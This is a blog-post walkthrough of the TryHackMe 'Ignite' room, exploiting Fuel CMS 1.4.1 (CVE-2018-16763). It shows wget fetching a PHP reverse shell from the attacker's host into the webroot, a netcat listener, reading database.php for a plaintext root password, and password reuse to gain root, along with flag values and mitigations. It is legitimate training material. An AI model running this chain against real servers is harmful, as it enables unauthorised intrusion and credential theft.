DEV Community

Farhan Hussain
Farhan Hussain

Posted on

This Box's Homepage Named Its Own CVE — Ignite (TryHackMe)

Platform: TryHackMe · Difficulty: Easy · Category: Fuel CMS RCE / Credential Reuse

Introduction

The page title says "Welcome to FUEL CMS." Not a generic landing page, not a logo with no text — the literal CMS name, in the <title> tag, for anyone running curl to read. That's either refreshingly honest or a significant operational security failure, and either way it meant I could skip version fingerprinting entirely and go straight to searchsploit.

Ignite carries a well-documented unauthenticated RCE in Fuel CMS 1.4.1, and once that door opens, the rest of the box leans on a mistake seen constantly in real engagements: a database credential, sitting in plaintext in a configuration file, reused verbatim as the root system password. No clever escalation chain required — just reading a file everyone forgets is sensitive because "it's just a config file."

Recon

rustscan -a 10.49.166.110 -r 1-65535 --ulimit 5000 -- -Pn -sC -sV
Enter fullscreen mode Exit fullscreen mode
Port Service Version
80/tcp HTTP Apache httpd 2.4.18 (Ubuntu) — "Welcome to FUEL CMS"

A single open port. The HTTP title removes any ambiguity about what's running.

feroxbuster -u http://10.49.166.110/ \
  -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
  -x php,xt,html
Enter fullscreen mode Exit fullscreen mode
301  /fuel             # admin panel root
200  /fuel/login       # login form
302  /fuel/dashboard  →  /fuel/login/<token>   # auth-gated, redirects when unauthenticated
Enter fullscreen mode Exit fullscreen mode

The /fuel/ admin structure is fully exposed, confirming the CMS identity. No version number is directly visible on the page, but the title alone is enough to search for known exploits.

Foothold

Fuel CMS versions up to and including 1.4.1 contain a flaw in how the application evaluates certain input — an attacker can manipulate request parameters such that arbitrary PHP code is evaluated server-side, without any authentication. This was assigned CVE-2018-16763 and has multiple public proof-of-concept exploits.

Searching local Exploit-DB mirror for Fuel CMS exploits:

searchsploit fuel cms
Enter fullscreen mode Exit fullscreen mode
Fuel CMS 1.4.1 - Remote Code Execution (1)   linux/webapps/47138.py
Fuel CMS 1.4.1 - Remote Code Execution (2)   php/webapps/49487.rb
Fuel CMS 1.4.1 - Remote Code Execution (3)   php/webapps/50477.py
Enter fullscreen mode Exit fullscreen mode

Copying the third RCE script locally:

searchsploit -m php/webapps/50477.py
Enter fullscreen mode Exit fullscreen mode

Running the exploit against the target:

python 50477.py -u http://10.49.166.110
Enter fullscreen mode Exit fullscreen mode
[+]Connecting...
Enter Command $
Enter fullscreen mode Exit fullscreen mode

An interactive pseudo-shell, command-by-command — not a full reverse shell, but enough to stage one.

Confirming basic command execution:

Enter Command $ls
README.md  assets  composer.json  contributing.md  fuel  index.php  robots.txt

Enter Command $pwd
/var/www/html
Enter fullscreen mode Exit fullscreen mode

Shell / Access

The exploit's pseudo-shell is functional but limited — no interactivity for tools requiring a TTY, no persistence. The standard move: use it to pull down a real PHP reverse shell via wget, then trigger that file directly over HTTP.

Serving the PHP reverse shell from the attacking machine:

python3 -m http.server 80
Enter fullscreen mode Exit fullscreen mode

Downloading it via the pseudo-shell:

Enter Command $wget http://192.168.134.217/php-reverse-shell.php
Enter fullscreen mode Exit fullscreen mode

The download fired repeatedly (visible as .1, .2, .3... duplicate files in the listing) — the exploit script appears to issue the command multiple times internally, which is harmless here since wget simply creates incrementing filenames rather than failing.

Confirming the file landed:

Enter Command $ls
... php-reverse-shell.php  php-reverse-shell.php.1  ... php-reverse-shell.php.12 ...
Enter fullscreen mode Exit fullscreen mode

Setting up the listener, then triggering the original (non-duplicated) file directly:

nc -nvlp 4444
Enter fullscreen mode Exit fullscreen mode
# browser/curl: http://10.49.166.110/php-reverse-shell.php
Enter fullscreen mode Exit fullscreen mode
connect to [192.168.134.217] from (UNKNOWN) [10.49.166.110] 38770
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Enter fullscreen mode Exit fullscreen mode

Stabilising:

python -c 'import pty; pty.spawn("/bin/bash")'
Enter fullscreen mode Exit fullscreen mode

Collecting the user flag:

cat /home/www-data/flag.txt
# 6470e394cbf6dab6a91682cc8585059b
Enter fullscreen mode Exit fullscreen mode

Escalation

Standard CodeIgniter/Fuel CMS structure places database credentials in a predictable config file:

cd /var/www/html/fuel/application/config
cat database.php
Enter fullscreen mode Exit fullscreen mode
$db['default'] = array(
    'hostname' => 'localhost',
    'username' => 'root',
    'password' => 'mememe',
    'database' => 'fuel_schema',
    ...
);
Enter fullscreen mode Exit fullscreen mode

MySQL root password: mememe. Worth testing immediately against the Linux accounts — database and system credential reuse is depressingly common.

First attempt — sudo su with the DB password:

sudo su
# [sudo] password for www-data: mememe
# Sorry, try again. (x3)
Enter fullscreen mode Exit fullscreen mode

www-data has no valid sudo password matching this — expected, since www-data typically has no interactive login credentials at all.

Second attempt — su directly to root:

su
# Password: mememe
Enter fullscreen mode Exit fullscreen mode
root@ubuntu:~# cat root.txt
b9bbcb33e11b80be759c4e844862482d
Enter fullscreen mode Exit fullscreen mode

The MySQL root password and the Linux root password are identical.

Exploitation — The Full Chain

  1. Page title identified Fuel CMS directly; searchsploit found CVE-2018-16763
  2. EDB-50477 exploit → pseudo-shell, no authentication required
  3. wget from pseudo-shell → staged a full PHP reverse shell in the webroot
  4. HTTP trigger → reverse shell as www-data → user flag
  5. application/config/database.php → MySQL root password mememe
  6. su (not sudo su) → password reuse → Linux root → root flag

Rabbit Holes

sudo su before plain su. The first escalation attempt used sudo su, which failed three times with the correct-looking password. The distinction matters: sudo asks for the calling user's own password (here, www-data, which has no usable interactive password), while su asks for the target user's password (root's own password). Since the leaked credential was reused as root's actual login password — not as a sudo grant for www-data — only the second form worked. A useful general reminder: when a found password doesn't work with sudo, try it with su before assuming it's the wrong credential entirely.

Duplicate file downloads via the exploit's wget command. Running the wget command once through the pseudo-shell apparently issued the underlying HTTP request multiple times internally (resulting in php-reverse-shell.php.1 through .12), based on the directory listing immediately afterward. This didn't cause any functional problem — the original un-suffixed file was still valid and triggered the shell correctly — but it's a quirk worth expecting when using this particular exploit script.

Flags

Flag Value Location
User 6470e394cbf6dab6a91682cc8585059b /home/www-data/flag.txt
Root b9bbcb33e11b80be759c4e844862482d /root/root.txt

Mitigations

Vulnerability Severity Mitigation
Fuel CMS 1.4.1 unauthenticated RCE (CVE-2018-16763) Critical Update Fuel CMS to a patched release; subscribe to CMS-specific security advisories
CMS identity disclosed directly in page title Low Avoid exposing exact CMS name/version in publicly visible page metadata where avoidable
Database credentials stored in plaintext config file High Use environment variables or a secrets manager for database credentials rather than committing them to a readable PHP config file
Database root password reused as system root password Critical Never reuse credentials across different privilege boundaries (database vs. OS); use unique, randomly generated passwords for each

Key Takeaway

When a discovered credential fails against sudo, try it against su before discarding it — the two commands check entirely different passwords (the caller's vs. the target account's), and a credential leaked from an application config file is far more likely to match a direct account password than a sudo grant for an unrelated service account.


Room: TryHackMe — Ignite

Top comments (0)